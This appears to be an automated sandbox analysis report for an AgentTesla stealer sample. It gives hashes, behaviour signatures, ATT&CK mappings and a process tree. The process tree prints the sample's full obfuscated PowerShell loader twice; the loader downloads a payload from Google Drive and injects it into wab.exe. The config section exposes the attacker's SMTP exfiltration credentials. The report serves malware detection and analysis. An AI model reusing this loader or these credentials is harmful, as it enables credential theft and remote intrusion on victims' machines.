agenttesla | 593cc6c6fee6b9fb6ae1e0594fbb64f76b8e18b532a25df6284300061cda47c7

Analysis

max time kernel
145s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
10/06/2024, 08:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DF PYR Y89036483.vbs
Size 23KB
Sample240610-kc94ssfa96
SHA256 593cc6c6fee6b9fb6ae1e0594fbb64f76b8e18b532a25df6284300061cda47c7
MD5 07797f5857c697c8a1a12489e8bf76ea
SHA1 9603afb90564671147e80dee0dbca0969f047dae
SHA512 6452353c9cd104e8ca728764b9a6b1079c65fcd5a7df7b2aeebd2731f173201028b18e4b3f30bf9842d733be62ae91c94d50cdb2bdaf07c9ba525694f47350f3
SSDEEP 384:HkcoLqaePo/os7uoLUv5jvF8rOe/eqogMQ2JwD4odFWgVsHTqnRd0vOBc:HkcoLmPyuEUBtTd5wnWgyH2IJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
mail.myhydropowered.com
Port
587
Username
[email protected]
Password
0TFiRgPxmCJcdSB
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2996	WScript.exe
7	2824	powershell.exe
10	2824	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
33	drive.google.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
45	ip-api.com
43	api.ipify.org
44	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
112	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1076	powershell.exe
112	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1076 set thread context of 112	1076	powershell.exe	92

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe
1076	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2824	powershell.exe
2824	powershell.exe
1076	powershell.exe
1076	powershell.exe
1076	powershell.exe
112	wab.exe
112	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1076	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	112	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 2824	2996	WScript.exe	80
PID 2996 wrote to memory of 2824	2996	WScript.exe	80
PID 2824 wrote to memory of 1536	2824	powershell.exe	82
PID 2824 wrote to memory of 1536	2824	powershell.exe	82
PID 2824 wrote to memory of 1076	2824	powershell.exe	87
PID 2824 wrote to memory of 1076	2824	powershell.exe	87
PID 2824 wrote to memory of 1076	2824	powershell.exe	87
PID 1076 wrote to memory of 2128	1076	powershell.exe	89
PID 1076 wrote to memory of 2128	1076	powershell.exe	89
PID 1076 wrote to memory of 2128	1076	powershell.exe	89
PID 1076 wrote to memory of 112	1076	powershell.exe	92
PID 1076 wrote to memory of 112	1076	powershell.exe	92
PID 1076 wrote to memory of 112	1076	powershell.exe	92
PID 1076 wrote to memory of 112	1076	powershell.exe	92
PID 1076 wrote to memory of 112	1076	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DF PYR Y89036483.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle 1 "$Bullshots = 1;Function Stjkildernes($Hovedls){$Cinnas=$Hovedls.Length-$Bullshots;$Praegesntolerable='Substring';For( $Praeges=7;$Praeges -lt $Cinnas;$Praeges+=8){$Nonamenably47+=$Hovedls.$Praegesntolerable.Invoke( $Praeges, $Bullshots);}$Nonamenably47;}function Integraph($Mentalization){ & ($Virginalernes) ($Mentalization);}$Polyhedrical=Stjkildernes ' Blre.xMpartikeoDataredzImmunisi FineablSorterelAilanteaTrikesa/Kvalmpr5 Angiol.S atuer0 U,tupp mo.oan( RikochWSpilleri DaaselnRhodiandDynelftoReinvitw HermansMeddele FlavonoNmurbrkkT fla,or .resele1Selskab0Polythe.headlin0R,vrksf;Startti .addlerWMeseldiiTilkal,n.illids6Lupulin4Fllesra;Pseudoa FlammeuxLaryngo6Kredite4Baandsp;Antenne SarclenrGrosservKomp,ic:Amyx,rr1Blackna2Cloud.e1 D.nvag.Facette0Prose t)frigost SiluridGBlom,teeElectrocspkhkerk Cavaedophutphy/Kamufle2Exodrom0 Crypto1jinnies0Spunshu0Fjantaf1Skalk.i0Color k1Sava ne Vejkry.FhundeaniBreseler.yridiceSkurvogfBr.akeroKode rdxSkva,ro/Service1Esteris2 Spotta1volumen.Parishl0Airwort ';$forndenhedens=Stjkildernes ' GeneraUKnivdrasBerig,ieTjreplerProempt-CinchonAFrstedagHalvdageMdekalenUnrequitDesmogn ';$Enkeltheden=Stjkildernes 'NonratihU defintlum nest Mrka,epVelsta sHyperbl:Galakti/.mpleme/Mtierd dAbs,iner Spgelsi omstdevUre idieByraads.NonpersgDggerbooScrabbloBiosco gUnenigmlIchull echrooco. Pale,tcDagpengo R.iverm Fugall/ PreoccuMet icac E acit?Unflowee Lg vidx .hycitpForur noAfroamerKonsekrtMultisc=Soliloqd PrixhyoReconquw Agitatn MetodilSovesofoP ilninaSpalterdGoenopf&Flirtigi ArticudFirtalv=disattu1alsangsd Adhrer8 ,steocFVildledV TroubaaPi.ketkRTekst pQTackliniMicromeoCameramxOsteomaq Devast3reciproMK,mmareaRockeriLOverfan0MonobasSPhotoc.GPeulstv7 DooryaMPa.pereoCyt,zoaVDataingPFa.eersfRummaalg BondepZ Opbu td Bjrgel3Comic,cZDe.pisacTrsteprtDrawbar8Illusio ';$Augustinermunkes=Stjkildernes 'Centaur>Forske ';$Virginalernes=Stjkildernes 'Hoopskii edrinaeBogholdxIdiotie ';$Minimallnnet25='Midterfigurernes';$Numberlessness55 = Stjkildernes ' UnbilleFaguddacdruidekh Electro Procto Tur ish%RundturaToldfripLytbarepMngdebedConcubiaEnge.ket seigniaInceste%Convolv\Stree wj .ntifoo uarbejtEpokens.T.ymosiIBrolagdn uperctKarduse Vanyaac& Fu.der&Nytte l Untempoe Asyls cSortnerhPherecro Saiphd Ud.asedtMisli h ';Integraph (Stjkildernes 'Seman i$PrambelgCelestelFeatureoStauterbBjlkev,aIncongeludspalt:Raemil.ARunderif OmbrydsManipult ArbejdaLavine,nKolonibdDddruknsHerningfIncubatoDia nosrWeltervvsennepsrNi.ononn ThyroggLinj tenRa,iomeiNontitlnSvabretg ommisve Datarer Arab.ssReceipt=Wournil(PostsupcOveroffm U ydeld Sy,phy Termina/Freewomc Detrai Carotin$di.kontNFor,ssauRib.sefm ransvab SterneeBrulzierLinievol AnklageTegntthsStikdaas br.nkanDrejebneAlmandis ,artarsProce,t5Fejlfak5 prosti)Onceove ');Integraph (Stjkildernes 'P,riste$BeepersgForfarelCyrtoceoEn.ydlobPolyc oaaflsninlTilkend:Pens veDGgedanseDominann Andemos NonserismerteftLedgmeno GrevinmO,tquibeKollekttSta.pemrPerfecteForume nUn,domsePlapun =Dokumen$ FrottaE Kommenn RamblekTrstofbe Cattlel BrooditPu gherh Pro,ukeVenstredGroupabeTestpron Khalif.Lian.sosMoroseapTidefull UncleniHaarslutUnfruga(Paahnge$Upr.verAFalliskuTabelspg ,nkerbuDisubstsPharyngtDe acheiBadeht.nNeonat.eT.cklinrBoglademMitrai,uU,ocentnCa,balakGrossmaeStorgodsUnluxur)Diegivn ');$Enkeltheden=$Densitometrene[0];$Bouchons= (Stjkildernes 'Misunde$MetallogDelicial pervero LacerabRepockeaD.tailhl Svalen:Ret,pleEstje nenWeathervM,dmornaD,congepLejligho clinicrEmig at= SisterNTrebeneeMarmorsw So,brs-stab.orO Over abVe komnj aciableenalit cReexpert Terje, ValgagiSPresu.pyJoh.nnesP ntefotFugtfjeeGennembmuntr,th.Oug,tntNL,ererseEur,siet indga,. UndereW Clavole SpyddebLeiotr CFrstegalAlkaptoiDesangaePharyngnForkantt');$Bouchons+=$Afstandsforvrngningers[1];Integraph ($Bouchons);Integraph (Stjkildernes 'osmothe$MelanisEAfarternTopartivopsoegeaSentenspRitualioRecalcurTimoteo.troatlaH Biopsie U.vapoaPrediscddetaljeeCec,liurAmbul.tsTrllear[ Forepa$TrklderfNonde eoKukkelur SammennRecombidAmphicheSkraastnGynan.rhExorciseSlumretdReadapteIn.omesnUnbeduns Erythr]f,rmodn=Flatlin$Postre,PS,emmefoAutoritlSystemay Tele.khPretzeleBeboeded Udtr nrTonishaiSaporsucGougersaStradivlEnterov ');$Physiol=Stjkildernes 'Mu.tive$ pswellEXixsmarnAa dfulvChillumaKatharipTes.atoo Omskifrsat.ens.Per.oniD,amesmaoEliminew Premedn Zy,osplIndl.deo anthopaUrinr edL.ndammF c mmaniSk ivesl BltesteSkabagt(seer ss$ElaphinEHomoseknbacchank InvioleFertilil aabnintStvlehlhStichwoe Inst.tdTim,proeMassrsrn L,bifo,Paradox$FolketiNHaematooPic.uranExtracadKalkulae Marty fMe.allyeLinievirDiegi na AllumebKjolenslHovmeste P.scid)Leuk,po ';$Nondeferable=$Afstandsforvrngningers[0];Integraph (Stjkildernes ' F rhan$ Doc.orgBedragelExtracoouropygib D termaUvurderlNonvita:J ntpluSPhotochaMalocclg BatchjvCibouleoPersonalPri.cipdMisplayeVol.tilrStandare rigonnChokneds Tu.ist=O gngel( Tran.sTKornavleUnpee isB.odsugtprecaut-AbsorbaPTeat rsaTightrot,rotozohCaillen Cellar$IndissoNS ekassoaut,immnObscured.arvebae S,adevfSadeltaeHes,eldrTrsten agreenthbJo,dbunl KresteePlastpo)Spindle ');while (!$Sagvolderens) {Integraph (Stjkildernes 'Rebuffe$Gennemlgchalderl.kjorteo steti b andantaSildefal Equest: O.dragOKompilapF rlagsh Tppebao MollehlstigonodAtonicisPie,fortDebriefiSpa,tellForstbolTan.lopa,evarnidSamm nle KdfodelPra.miss Leve,ye.nveerirUnderwisAurides=H,sthun$AcosmistSkinkssrKarotinu.uperfoeDe,egat ') ;Integraph $Physiol;Integraph (Stjkildernes ' RushenS GiltystNondeafaKo settrGlycerotbrndfor-TrreediSHawaiialItalianeFanebreeA,erlyap Konj n ,efusi4Bry.eri ');Integraph (Stjkildernes 'No ment$,rowbeagFlikflalBlanchzof acidubMatro,eaLatinizlBornhol:y nkeetSJulestjaAnmassegOdou fuvBedyrvao agestlint,iged misfi,enotor erSgeproce TenontnSlettebsAfbryde= ormlyu(Pebl ngT JoggineC,eckersArbejd tBordell-OppositPLsbla.eaTaifunetAarevish,rinter Sy,ingi$.ocionoNParapheoKlimprenMaskulid altoveeLynjustfPostekseAborte,r IneloqaMascarabKalor.mlForeorde Viki g) Udgang ') ;Integraph (Stjkildernes ' Foxh u$SamlerkgDestilll,eroppeoTrktjerbMelami.aFriaktilAktiese: Proje,IRostroln Treogtff.rpligohind.rbrF zzedsm priskoaRullemetSympathiAbortivo R etsdnHildebrssanktioa Sanitrr OphthabPralerieIndkbe jForholddBarks,me ForfdrtshawingsPro orp=Kni kam$BeslaglgFormelslStultifoPredispbParcelhaVentrillLykkeli:GastrocU Ml.enwn inhoopaAarelodtSmsyninuScutel,rScreechs,evebrd+ Overco+Ops rer%Nonappl$ .paaklDUbegribe SubduanBewitchsSheeni,iRy,eanntSvane.aoWatchwim ndervieDemicoltdev,temr SnotdueAfdelinnTelekomeDampsk..NeurocicDe,ieagoTriskaiu Ddsattnqafth.rt Copals ') ;$Enkeltheden=$Densitometrene[$Informationsarbejdets];}$Occipitofrontalis=313509;$Omvendtes=30138;Integraph (Stjkildernes 'Fede,es$SortwitgVandplalAlkylkdoBoligtabTilby,eaFleaw.rllusterw:,igsnieS Opryk,tSnivelleEsconsotForblffiSpri gvk h,inaneHerr.ekrDuikersnAverrineFarmedesA tiimp brugera=Primrts PantomGFstneskeCountertChipset-EtchingC HeedleoUlvsrnnn amordnt,ncompueDi kettn FullertFordumm Unvol.$F,rfrisNsalgsbuoBdenmannBadelagd TheogeePlovfurfUnwholeeTrieterrMorskabaSundestbMotorsslF.rflyte T,lfor ');Integraph (Stjkildernes ' Gg ren$Hamren,g TiltrdlLandbruo WagewobFedtfataDatterdlKartote:FlagskiMMaxill.iBelurellOverdyejSugge ekDillydar usticiaNonincavLossles1Mictura8 Stavsp0 Solist He adec=Startsy Amtsk m[.ssuretSDocto.iyKlokkefsYukone,tTracheaeChelleamcrunchi. PetrifC ordampo TupskonPresservIntendce Re matrTjenendtDm.ning] Fjerdi:Truckli:Tapp,tsFEpipharrLensingoHaulstemBridehoBFimblesaPerditisNoctilue Retard6Straffr4LemonadS agafumtGrassfirRidleyui cleron GennemgSnrelid(Typedef$ GrabbeSPaaskedtAnlage,ePhilo.at SynagoiIndfjnikEmpathieCompor.rDepotopnUntoppleAbscisssskrifts)Syndflo ');Integraph (Stjkildernes 'Codicil$KlistregI terpelTrev,emoPreinspb,rchuxoaInterjalSubrotu:Noteri,ZUnneur,aSpecia rtorgrimrFotograigrummelgHeter leRenr,ngrTeks,iln reslege By.depsRimpist Kittele=Wh ggis Hovedsy[S,gefulS Se,steyGldeligsgelacartUnderreeNeg tivm Guld n.UnpeakeT Fe.kaneTac ygrx FoxilytGaspist..efrnsaEHypoalonLig vgtcBrid eroAdiathedMonoteii s nopinShingong E trep]Sammenh: Mus fl: GiflerA BoeresS DeoxyrCSpillerI Ev,kueIKonkur .SkolopeGBr.ndfoemorgen.t elskabS,ridecyt PiktogrsocratiiPatronynIndiffeg Podern(Amandus$ LappedMUnirhymiseptuaglMystic,jUrmagerkSaltninrSi.ladeaStivstiv Gldstt1.eniora8Sporoge0Raadigh) .aryng ');Integraph (Stjkildernes 'afskr,k$krigsligOver ctlAfgas.eo OprundbPh,halyaBudgetolI.olizi: Wor waC ,elidahPentaseeOrthoplfElek.riiEmplacedForsg.vefuld.idoGuldfisl BurgjsoPurplesgUndesireSkrmterrOc illisFo.svin=Ta,asca$Anemon,ZOpstammaOldtidsrudkonkurRumina iT,vagtigtemae ne Datom rCaconymn S utereFints,asC,rable. baasessGoldbriu Konvo,bsubsidisKomplektAdmonitrPrimaeriD.mentcninteringFristen(Pacinko$Submi sOprobaticomstnincKvoterei AlufolpTrvejrsiHyperintAft,npooInvalidfRadikalrF.riedaoFlyveranB.azingtDrukmaaaSamordnl ovgiviAnammonsDiminis,Grilnin$ytrbagaO Exp dimCarnaubvUskadele Buboedn,epromidEtymolotTy.osoieCanteensFinansi) aesare ');Integraph $Chefideologers;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\jot.Int && echo t"
    3⤵
    PID:1536
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Bullshots = 1;Function Stjkildernes($Hovedls){$Cinnas=$Hovedls.Length-$Bullshots;$Praegesntolerable='Substring';For( $Praeges=7;$Praeges -lt $Cinnas;$Praeges+=8){$Nonamenably47+=$Hovedls.$Praegesntolerable.Invoke( $Praeges, $Bullshots);}$Nonamenably47;}function Integraph($Mentalization){ & ($Virginalernes) ($Mentalization);}$Polyhedrical=Stjkildernes ' Blre.xMpartikeoDataredzImmunisi FineablSorterelAilanteaTrikesa/Kvalmpr5 Angiol.S atuer0 U,tupp mo.oan( RikochWSpilleri DaaselnRhodiandDynelftoReinvitw HermansMeddele FlavonoNmurbrkkT fla,or .resele1Selskab0Polythe.headlin0R,vrksf;Startti .addlerWMeseldiiTilkal,n.illids6Lupulin4Fllesra;Pseudoa FlammeuxLaryngo6Kredite4Baandsp;Antenne SarclenrGrosservKomp,ic:Amyx,rr1Blackna2Cloud.e1 D.nvag.Facette0Prose t)frigost SiluridGBlom,teeElectrocspkhkerk Cavaedophutphy/Kamufle2Exodrom0 Crypto1jinnies0Spunshu0Fjantaf1Skalk.i0Color k1Sava ne Vejkry.FhundeaniBreseler.yridiceSkurvogfBr.akeroKode rdxSkva,ro/Service1Esteris2 Spotta1volumen.Parishl0Airwort ';$forndenhedens=Stjkildernes ' GeneraUKnivdrasBerig,ieTjreplerProempt-CinchonAFrstedagHalvdageMdekalenUnrequitDesmogn ';$Enkeltheden=Stjkildernes 'NonratihU defintlum nest Mrka,epVelsta sHyperbl:Galakti/.mpleme/Mtierd dAbs,iner Spgelsi omstdevUre idieByraads.NonpersgDggerbooScrabbloBiosco gUnenigmlIchull echrooco. Pale,tcDagpengo R.iverm Fugall/ PreoccuMet icac E acit?Unflowee Lg vidx .hycitpForur noAfroamerKonsekrtMultisc=Soliloqd PrixhyoReconquw Agitatn MetodilSovesofoP ilninaSpalterdGoenopf&Flirtigi ArticudFirtalv=disattu1alsangsd Adhrer8 ,steocFVildledV TroubaaPi.ketkRTekst pQTackliniMicromeoCameramxOsteomaq Devast3reciproMK,mmareaRockeriLOverfan0MonobasSPhotoc.GPeulstv7 DooryaMPa.pereoCyt,zoaVDataingPFa.eersfRummaalg BondepZ Opbu td Bjrgel3Comic,cZDe.pisacTrsteprtDrawbar8Illusio ';$Augustinermunkes=Stjkildernes 'Centaur>Forske ';$Virginalernes=Stjkildernes 'Hoopskii edrinaeBogholdxIdiotie ';$Minimallnnet25='Midterfigurernes';$Numberlessness55 = Stjkildernes ' UnbilleFaguddacdruidekh Electro Procto Tur ish%RundturaToldfripLytbarepMngdebedConcubiaEnge.ket seigniaInceste%Convolv\Stree wj .ntifoo uarbejtEpokens.T.ymosiIBrolagdn uperctKarduse Vanyaac& Fu.der&Nytte l Untempoe Asyls cSortnerhPherecro Saiphd Ud.asedtMisli h ';Integraph (Stjkildernes 'Seman i$PrambelgCelestelFeatureoStauterbBjlkev,aIncongeludspalt:Raemil.ARunderif OmbrydsManipult ArbejdaLavine,nKolonibdDddruknsHerningfIncubatoDia nosrWeltervvsennepsrNi.ononn ThyroggLinj tenRa,iomeiNontitlnSvabretg ommisve Datarer Arab.ssReceipt=Wournil(PostsupcOveroffm U ydeld Sy,phy Termina/Freewomc Detrai Carotin$di.kontNFor,ssauRib.sefm ransvab SterneeBrulzierLinievol AnklageTegntthsStikdaas br.nkanDrejebneAlmandis ,artarsProce,t5Fejlfak5 prosti)Onceove ');Integraph (Stjkildernes 'P,riste$BeepersgForfarelCyrtoceoEn.ydlobPolyc oaaflsninlTilkend:Pens veDGgedanseDominann Andemos NonserismerteftLedgmeno GrevinmO,tquibeKollekttSta.pemrPerfecteForume nUn,domsePlapun =Dokumen$ FrottaE Kommenn RamblekTrstofbe Cattlel BrooditPu gherh Pro,ukeVenstredGroupabeTestpron Khalif.Lian.sosMoroseapTidefull UncleniHaarslutUnfruga(Paahnge$Upr.verAFalliskuTabelspg ,nkerbuDisubstsPharyngtDe acheiBadeht.nNeonat.eT.cklinrBoglademMitrai,uU,ocentnCa,balakGrossmaeStorgodsUnluxur)Diegivn ');$Enkeltheden=$Densitometrene[0];$Bouchons= (Stjkildernes 'Misunde$MetallogDelicial pervero LacerabRepockeaD.tailhl Svalen:Ret,pleEstje nenWeathervM,dmornaD,congepLejligho clinicrEmig at= SisterNTrebeneeMarmorsw So,brs-stab.orO Over abVe komnj aciableenalit cReexpert Terje, ValgagiSPresu.pyJoh.nnesP ntefotFugtfjeeGennembmuntr,th.Oug,tntNL,ererseEur,siet indga,. UndereW Clavole SpyddebLeiotr CFrstegalAlkaptoiDesangaePharyngnForkantt');$Bouchons+=$Afstandsforvrngningers[1];Integraph ($Bouchons);Integraph (Stjkildernes 'osmothe$MelanisEAfarternTopartivopsoegeaSentenspRitualioRecalcurTimoteo.troatlaH Biopsie U.vapoaPrediscddetaljeeCec,liurAmbul.tsTrllear[ Forepa$TrklderfNonde eoKukkelur SammennRecombidAmphicheSkraastnGynan.rhExorciseSlumretdReadapteIn.omesnUnbeduns Erythr]f,rmodn=Flatlin$Postre,PS,emmefoAutoritlSystemay Tele.khPretzeleBeboeded Udtr nrTonishaiSaporsucGougersaStradivlEnterov ');$Physiol=Stjkildernes 'Mu.tive$ pswellEXixsmarnAa dfulvChillumaKatharipTes.atoo Omskifrsat.ens.Per.oniD,amesmaoEliminew Premedn Zy,osplIndl.deo anthopaUrinr edL.ndammF c mmaniSk ivesl BltesteSkabagt(seer ss$ElaphinEHomoseknbacchank InvioleFertilil aabnintStvlehlhStichwoe Inst.tdTim,proeMassrsrn L,bifo,Paradox$FolketiNHaematooPic.uranExtracadKalkulae Marty fMe.allyeLinievirDiegi na AllumebKjolenslHovmeste P.scid)Leuk,po ';$Nondeferable=$Afstandsforvrngningers[0];Integraph (Stjkildernes ' F rhan$ Doc.orgBedragelExtracoouropygib D termaUvurderlNonvita:J ntpluSPhotochaMalocclg BatchjvCibouleoPersonalPri.cipdMisplayeVol.tilrStandare rigonnChokneds Tu.ist=O gngel( Tran.sTKornavleUnpee isB.odsugtprecaut-AbsorbaPTeat rsaTightrot,rotozohCaillen Cellar$IndissoNS ekassoaut,immnObscured.arvebae S,adevfSadeltaeHes,eldrTrsten agreenthbJo,dbunl KresteePlastpo)Spindle ');while (!$Sagvolderens) {Integraph (Stjkildernes 'Rebuffe$Gennemlgchalderl.kjorteo steti b andantaSildefal Equest: O.dragOKompilapF rlagsh Tppebao MollehlstigonodAtonicisPie,fortDebriefiSpa,tellForstbolTan.lopa,evarnidSamm nle KdfodelPra.miss Leve,ye.nveerirUnderwisAurides=H,sthun$AcosmistSkinkssrKarotinu.uperfoeDe,egat ') ;Integraph $Physiol;Integraph (Stjkildernes ' RushenS GiltystNondeafaKo settrGlycerotbrndfor-TrreediSHawaiialItalianeFanebreeA,erlyap Konj n ,efusi4Bry.eri ');Integraph (Stjkildernes 'No ment$,rowbeagFlikflalBlanchzof acidubMatro,eaLatinizlBornhol:y nkeetSJulestjaAnmassegOdou fuvBedyrvao agestlint,iged misfi,enotor erSgeproce TenontnSlettebsAfbryde= ormlyu(Pebl ngT JoggineC,eckersArbejd tBordell-OppositPLsbla.eaTaifunetAarevish,rinter Sy,ingi$.ocionoNParapheoKlimprenMaskulid altoveeLynjustfPostekseAborte,r IneloqaMascarabKalor.mlForeorde Viki g) Udgang ') ;Integraph (Stjkildernes ' Foxh u$SamlerkgDestilll,eroppeoTrktjerbMelami.aFriaktilAktiese: Proje,IRostroln Treogtff.rpligohind.rbrF zzedsm priskoaRullemetSympathiAbortivo R etsdnHildebrssanktioa Sanitrr OphthabPralerieIndkbe jForholddBarks,me ForfdrtshawingsPro orp=Kni kam$BeslaglgFormelslStultifoPredispbParcelhaVentrillLykkeli:GastrocU Ml.enwn inhoopaAarelodtSmsyninuScutel,rScreechs,evebrd+ Overco+Ops rer%Nonappl$ .paaklDUbegribe SubduanBewitchsSheeni,iRy,eanntSvane.aoWatchwim ndervieDemicoltdev,temr SnotdueAfdelinnTelekomeDampsk..NeurocicDe,ieagoTriskaiu Ddsattnqafth.rt Copals ') ;$Enkeltheden=$Densitometrene[$Informationsarbejdets];}$Occipitofrontalis=313509;$Omvendtes=30138;Integraph (Stjkildernes 'Fede,es$SortwitgVandplalAlkylkdoBoligtabTilby,eaFleaw.rllusterw:,igsnieS Opryk,tSnivelleEsconsotForblffiSpri gvk h,inaneHerr.ekrDuikersnAverrineFarmedesA tiimp brugera=Primrts PantomGFstneskeCountertChipset-EtchingC HeedleoUlvsrnnn amordnt,ncompueDi kettn FullertFordumm Unvol.$F,rfrisNsalgsbuoBdenmannBadelagd TheogeePlovfurfUnwholeeTrieterrMorskabaSundestbMotorsslF.rflyte T,lfor ');Integraph (Stjkildernes ' Gg ren$Hamren,g TiltrdlLandbruo WagewobFedtfataDatterdlKartote:FlagskiMMaxill.iBelurellOverdyejSugge ekDillydar usticiaNonincavLossles1Mictura8 Stavsp0 Solist He adec=Startsy Amtsk m[.ssuretSDocto.iyKlokkefsYukone,tTracheaeChelleamcrunchi. PetrifC ordampo TupskonPresservIntendce Re matrTjenendtDm.ning] Fjerdi:Truckli:Tapp,tsFEpipharrLensingoHaulstemBridehoBFimblesaPerditisNoctilue Retard6Straffr4LemonadS agafumtGrassfirRidleyui cleron GennemgSnrelid(Typedef$ GrabbeSPaaskedtAnlage,ePhilo.at SynagoiIndfjnikEmpathieCompor.rDepotopnUntoppleAbscisssskrifts)Syndflo ');Integraph (Stjkildernes 'Codicil$KlistregI terpelTrev,emoPreinspb,rchuxoaInterjalSubrotu:Noteri,ZUnneur,aSpecia rtorgrimrFotograigrummelgHeter leRenr,ngrTeks,iln reslege By.depsRimpist Kittele=Wh ggis Hovedsy[S,gefulS Se,steyGldeligsgelacartUnderreeNeg tivm Guld n.UnpeakeT Fe.kaneTac ygrx FoxilytGaspist..efrnsaEHypoalonLig vgtcBrid eroAdiathedMonoteii s nopinShingong E trep]Sammenh: Mus fl: GiflerA BoeresS DeoxyrCSpillerI Ev,kueIKonkur .SkolopeGBr.ndfoemorgen.t elskabS,ridecyt PiktogrsocratiiPatronynIndiffeg Podern(Amandus$ LappedMUnirhymiseptuaglMystic,jUrmagerkSaltninrSi.ladeaStivstiv Gldstt1.eniora8Sporoge0Raadigh) .aryng ');Integraph (Stjkildernes 'afskr,k$krigsligOver ctlAfgas.eo OprundbPh,halyaBudgetolI.olizi: Wor waC ,elidahPentaseeOrthoplfElek.riiEmplacedForsg.vefuld.idoGuldfisl BurgjsoPurplesgUndesireSkrmterrOc illisFo.svin=Ta,asca$Anemon,ZOpstammaOldtidsrudkonkurRumina iT,vagtigtemae ne Datom rCaconymn S utereFints,asC,rable. baasessGoldbriu Konvo,bsubsidisKomplektAdmonitrPrimaeriD.mentcninteringFristen(Pacinko$Submi sOprobaticomstnincKvoterei AlufolpTrvejrsiHyperintAft,npooInvalidfRadikalrF.riedaoFlyveranB.azingtDrukmaaaSamordnl ovgiviAnammonsDiminis,Grilnin$ytrbagaO Exp dimCarnaubvUskadele Buboedn,epromidEtymolotTy.osoieCanteensFinansi) aesare ');Integraph $Chefideologers;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\jot.Int && echo t"
      4⤵
      PID:2128
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Upspin.txt

Path C:\Users\Admin\AppData\Local\Temp\Upspin.txt
Size 1KB
SHA256 e91daa7011fcf9c4fd9c75515a5d6eed51809b25129b37a3cb2b4449eba33553
MD5 d8c0489e2d3048c197548bd492e8d48e
SHA1 3f2b21af46d4d35eed524713a8ad2d9916ca240a
SHA512 e0c94f82c0ace66e96a3c2f54edd8302a1c1dbc04aff8594c78374340628f42429e5f70321ff6febcca959e229acba31cba85320c825785d4fa61a76dccc62be
MD5 SHA1 SHA512

Submit Download

Upspin.txt

Path C:\Users\Admin\AppData\Local\Temp\Upspin.txt
Size 6KB
SHA256 123743f6939d7e8d2a4a456fa8a4fd6a08b7fd4f1c21ae9af49acaee49c8347c
MD5 873fddec96d67cc34a69d511342e0dd8
SHA1 28adf3c5fe383b6fb80a3fc1baf9ebaf2bdb840b
SHA512 5ab48e08af88f01934772d122827f34eed31d7e8b681957197e9c82ba8a417e9094a97dfacf29530b11c10a125b0c97d5b64083346609ce0ddcdc759d9082d7c
SSDEEP 192:kyoZEj/Lr7mgc00a+76xReRgDw5x6mIIIPWrX05xxO9nr:kujP7mgc0jGMIRYwP6m4K05xxq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Upspin.txt

Path C:\Users\Admin\AppData\Local\Temp\Upspin.txt
Size 839B
SHA256 4378c09b64a6ec930c46462d408bfd64d73740fa607b3172f1df98ef28a7eade
MD5 e617ce8a6aa637b241902aa4de5350c2
SHA1 46312f6c5c8305cda30f3d6262ea748b84606d0d
SHA512 9692b43882e328c8567dc53e3a10e5ac4549dfe95cf7dd7af301e7aa3e9b54c4f754f330911163b17f4d49a38b0e4ed7f7c39474d0f4f177751e0be280bd27a3
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wcmhw2t1.q5z.ps1

